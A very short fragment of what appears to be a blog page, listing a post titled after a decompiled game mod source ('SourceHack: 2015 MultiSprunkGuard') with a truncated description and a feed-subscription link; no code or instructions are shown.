5 SourceHack: 2015 MultiSprunkGuard by xzytro modified by Wade SOURCE // This file was decompiled using SASCM.ini published by GTAG (http://gtag....
< ◘ >
Subscribe to: Posts (Atom)